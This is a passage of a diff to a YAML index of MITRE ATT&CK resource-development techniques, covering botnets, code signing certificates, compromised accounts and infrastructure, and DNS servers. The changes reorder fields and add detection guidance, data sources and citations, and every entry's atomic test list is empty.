+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1583.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583.005
-        url: https://attack.mitre.org/techniques/T1583/005
-      - source_name: Norton Botnet
-        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
-        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
-      - source_name: Imperva DDoS for Hire
-        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
-        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
-          4, 2020.
-      - source_name: Krebs-Anna
-        description: Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai
-          Worm Author?. Retrieved May 15, 2017.
-        url: https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
-      - source_name: Krebs-Bazaar
-        description: Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service
-          Bazaar. Retrieved May 15, 2017.
-        url: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
-      - source_name: Krebs-Booter
-        description: Brian Krebs. (2016, October 27). Are the Days of “Booter” Services
-          Numbered?. Retrieved May 15, 2017.
-        url: https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Botnet
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T02:49:14.664Z'
+      created: '2020-10-01T00:49:05.467Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074
       description: 'Adversaries may buy, lease, or rent a network of compromised systems that
         can be used during targeting. A botnet is a network of compromised systems
         that can be instructed to perform coordinated tasks.(Citation: Norton Botnet)
@@ -60402,46 +62216,53 @@ resource-development:
         activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
         or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation:
         Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)'
-      id: attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:49:14.664Z'
-      created: '2020-10-01T00:49:05.467Z'
       x_mitre_detection: Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on related stages of the adversary lifecycle, such
         as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
         Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
         Denial of Service](https://attack.mitre.org/techniques/T1498).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583/005
+        external_id: T1583.005
+        source_name: mitre-attack
+      - url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
+        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
+        source_name: Norton Botnet
+      - url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
+        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
+          4, 2020.
+        source_name: Imperva DDoS for Hire
+      - url: https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/
+        description: Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai
+          Worm Author?. Retrieved May 15, 2017.
+        source_name: Krebs-Anna
+      - url: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/
+        description: Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service
+          Bazaar. Retrieved May 15, 2017.
+        source_name: Krebs-Bazaar
+      - url: https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/
+        description: Brian Krebs. (2016, October 27). Are the Days of “Booter” Services
+          Numbered?. Retrieved May 15, 2017.
+        source_name: Krebs-Booter
     atomic_tests: []
   T1584.005:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.005
-        url: https://attack.mitre.org/techniques/T1584/005
-      - source_name: Norton Botnet
-        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
-        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
-      - source_name: Imperva DDoS for Hire
-        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
-        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
-          4, 2020.
-      - source_name: Dell Dridex Oct 2015
-        url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
-        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
-          October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May
-          31, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Botnet
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T03:01:00.271Z'
+      created: '2020-10-01T00:58:35.269Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3
       description: 'Adversaries may compromise numerous third-party systems to form
         a botnet that can be used during targeting. A botnet is a network of compromised
         systems that can be instructed to perform coordinated tasks.(Citation: Norton
@@ -60452,94 +62273,120 @@ resource-development:
         Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform
         follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
         or Distributed Denial of Service (DDoS).'
-      id: attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:01:00.271Z'
-      created: '2020-10-01T00:58:35.269Z'
       x_mitre_detection: Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on related stages of the adversary lifecycle, such
         as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
         Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
         Denial of Service](https://attack.mitre.org/techniques/T1498).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/005
+        external_id: T1584.005
+        source_name: mitre-attack
+      - url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
+        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
+        source_name: Norton Botnet
+      - url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
+        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
+          4, 2020.
+        source_name: Imperva DDoS for Hire
+      - url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
+        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
+          October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May
+          31, 2019.
+        source_name: Dell Dridex Oct 2015
     atomic_tests: []
   T1587.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1587.002
-        url: https://attack.mitre.org/techniques/T1587/002
-      - url: https://en.wikipedia.org/wiki/Code_signing
-        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
-          31, 2016.
-        source_name: Wikipedia Code Signing
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Code Signing Certificates
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:07:08.549Z'
+      created: '2020-10-01T01:41:08.652Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf
       description: |-
         Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
 
         Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.
-      id: attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:06:56.855Z'
-      created: '2020-10-01T01:41:08.652Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002)
-        or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider analyzing self-signed code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, and common name. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in crafting self-signed code signing certificates.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1587/002
+        external_id: T1587.002
+        source_name: mitre-attack
+      - source_name: Wikipedia Code Signing
+        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
+          31, 2016.
+        url: https://en.wikipedia.org/wiki/Code_signing
     atomic_tests: []
   T1588.003:
     technique:
-      created: '2020-10-01T02:11:47.237Z'
-      modified: '2021-04-15T03:13:16.259Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: resource-development
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Code Signing Certificates
+      x_mitre_data_sources:
+      - 'Malware Repository: Malware Metadata'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:19:50.018Z'
+      created: '2020-10-01T02:11:47.237Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
       id: attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15
       description: |-
         Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.
 
         Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.
-      name: Code Signing Certificates
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: resource-development
+      x_mitre_detection: |-
+        Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
       created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1588/003
         external_id: T1588.003
-        url: https://attack.mitre.org/techniques/T1588/003
-      - url: https://en.wikipedia.org/wiki/Code_signing
+        source_name: mitre-attack
+      - source_name: Wikipedia Code Signing
         description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
           31, 2016.
-        source_name: Wikipedia Code Signing
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002)
-        or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
+        url: https://en.wikipedia.org/wiki/Code_signing
     atomic_tests: []
   T1586:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Compromise Accounts
+      x_mitre_data_sources:
+      - 'Persona: Social Media'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2021-10-16T17:15:12.428Z'
+      created: '2020-10-01T01:17:15.965Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
       id: attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a
       description: "Adversaries may compromise accounts with services that can be
         used during targeting. For operations incorporating social engineering, the
@@ -60559,308 +62406,353 @@ resource-development:
         social networks, or incorporating photos.\n\nAdversaries may directly leverage
         compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598)
         or [Phishing](https://attack.mitre.org/techniques/T1566)."
-      name: Compromise Accounts
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1586
-        url: https://attack.mitre.org/techniques/T1586
-      - source_name: AnonHBGary
-        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
-          story of the HBGary hack. Retrieved March 9, 2017.'
-        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:59:07.046Z'
-      created: '2020-10-01T01:17:15.965Z'
-      x_mitre_platforms:
-      - PRE
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
       x_mitre_detection: |-
         Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.
 
         Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1586
+        external_id: T1586
+        source_name: mitre-attack
+      - url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
+        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
+          story of the HBGary hack. Retrieved March 9, 2017.'
+        source_name: AnonHBGary
     atomic_tests: []
   T1584:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584
-        url: https://attack.mitre.org/techniques/T1584
-      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
-        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
-          Units. Retrieved July 18, 2016.
-        source_name: Mandiant APT1
-      - source_name: ICANNDomainNameHijacking
-        description: 'ICANN Security and Stability Advisory Committee. (2005, July
-          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
-          March 6, 2017.'
-        url: https://www.icann.org/groups/ssac/documents/sac-007-en
-      - source_name: Talos DNSpionage Nov 2018
-        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
-        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
-          Targets Middle East. Retrieved October 9, 2020.
-      - source_name: FireEye EPS Awakens Part 2
-        description: Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved
-          January 22, 2016.
-        url: https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
-      - source_name: NSA NCSC Turla OilRig
-        url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
-        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
-          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
-          16, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Compromise Infrastructure
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      - 'Domain Name: Active DNS'
+      - 'Domain Name: Passive DNS'
+      - 'Domain Name: Domain Registration'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T16:01:48.871Z'
+      created: '2020-10-01T00:36:30.759Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9
       description: |-
         Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
 
         Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)
-      id: attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:04:40.423Z'
-      created: '2020-10-01T00:36:30.759Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection difficult for defenders. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: "Consider monitoring for anomalous changes to domain registrant
+        information and/or domain resolution information that may indicate the compromise
+        of a domain. Efforts may need to be tailored to specific domains of interest
+        as benign registration and resolution changes are a common occurrence on the
+        internet. \n\nOnce adversaries have provisioned compromised infrastructure
+        (ex: a server for use in command and control), internet scans may help proactively
+        discover compromised infrastructure. Consider looking for identifiable patterns
+        such as services listening, certificates in use, SSL/TLS negotiation features,
+        or other response artifacts associated with adversary C2 software.(Citation:
+        ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation:
+        Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related
+        stages of the adversary lifecycle, such as during Command and Control."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584
+        external_id: T1584
+        source_name: mitre-attack
+      - source_name: Mandiant APT1
+        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
+          Units. Retrieved July 18, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+      - url: https://www.icann.org/groups/ssac/documents/sac-007-en
+        description: 'ICANN Security and Stability Advisory Committee. (2005, July
+          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
+          March 6, 2017.'
+        source_name: ICANNDomainNameHijacking
+      - url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
+        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
+          Targets Middle East. Retrieved October 9, 2020.
+        source_name: Talos DNSpionage Nov 2018
+      - url: https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
+        description: Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved
+          January 22, 2016.
+        source_name: FireEye EPS Awakens Part 2
+      - url: https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
+        description: 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla
+          Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October
+          16, 2020.'
+        source_name: NSA NCSC Turla OilRig
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
+      - url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
+        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
+          Shodan. Retrieved October 12, 2021.
+        source_name: Koczwara Beacon Hunting Sep 2021
     atomic_tests: []
   T1583.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583.002
-        url: https://attack.mitre.org/techniques/T1583/002
-      - source_name: Unit42 DNS Mar 2019
-        url: https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/
-        description: 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can
-          be (ab)used by malicious actors. Retrieved October 3, 2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: DNS Server
+      x_mitre_version: '1.0'
+      modified: '2021-04-15T02:49:49.702Z'
+      created: '2020-10-01T00:40:45.279Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81
       description: |-
         Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.
 
         By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
-      id: attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:49:49.702Z'
-      created: '2020-10-01T00:40:45.279Z'
       x_mitre_detection: Much of this activity will take place outside the visibility
         of the target organization, making detection of this behavior difficult. Detection
         efforts may be focused on related stages of the adversary lifecycle, such
         as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583/002
+        external_id: T1583.002
+        source_name: mitre-attack
+      - url: https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/
+        description: 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can
+          be (ab)used by malicious actors. Retrieved October 3, 2020.'
+        source_name: Unit42 DNS Mar 2019
     atomic_tests: []
   T1584.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1584.002
-        url: https://attack.mitre.org/techniques/T1584/002
-      - source_name: Talos DNSpionage Nov 2018
-        url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
-        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
-          Targets Middle East. Retrieved October 9, 2020.
-      - source_name: FireEye DNS Hijack 2019
-        url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
-        description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS
-          Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October
-          9, 2020.'
-      - source_name: CiscoAngler
-        description: 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking
-          in the Domain Shadows. Retrieved March 6, 2017.'
-        url: https://blogs.cisco.com/security/talos/angler-domain-shadowing
-      - source_name: Proofpoint Domain Shadowing
-        url: https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows
-        description: 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising
-          campaigns use domain shadowing to pull in Angler EK. Retrieved October 16,
-          2020.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      name: DNS Server
+      x_mitre_data_sources:
+      - 'Domain Name: Active DNS'
+      - 'Domain Name: Passive DNS'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:56:05.112Z'
+      created: '2020-10-01T00:54:30.869Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5
       description: |-
         Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.
 
         By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)
-      name: DNS Server
-      id: attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T03:01:54.609Z'
-      created: '2020-10-01T00:54:30.869Z'
-      x_mitre_detection: Much of this activity will take place outside the visibility
-        of the target organization, making detection of this behavior difficult. Detection
-        efforts may be focused on related stages of the adversary lifecycle, such
-        as during Command and Control.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: |-
+        Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.
+
+        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1584/002
+        external_id: T1584.002
+        source_name: mitre-attack
+      - url: https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
+        description: Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign
+          Targets Middle East. Retrieved October 9, 2020.
+        source_name: Talos DNSpionage Nov 2018
+      - url: https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
+        description: 'Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS
+          Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October
+          9, 2020.'
+        source_name: FireEye DNS Hijack 2019
+      - url: https://blogs.cisco.com/security/talos/angler-domain-shadowing
+        description: 'Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking
+          in the Domain Shadows. Retrieved March 6, 2017.'
+        source_name: CiscoAngler
+      - url: https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows
+        description: 'Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising
+          campaigns use domain shadowing to pull in Angler EK. Retrieved October 16,
+          2020.'
+        source_name: Proofpoint Domain Shadowing
     atomic_tests: []
   T1587:
     technique:
-      external_references:
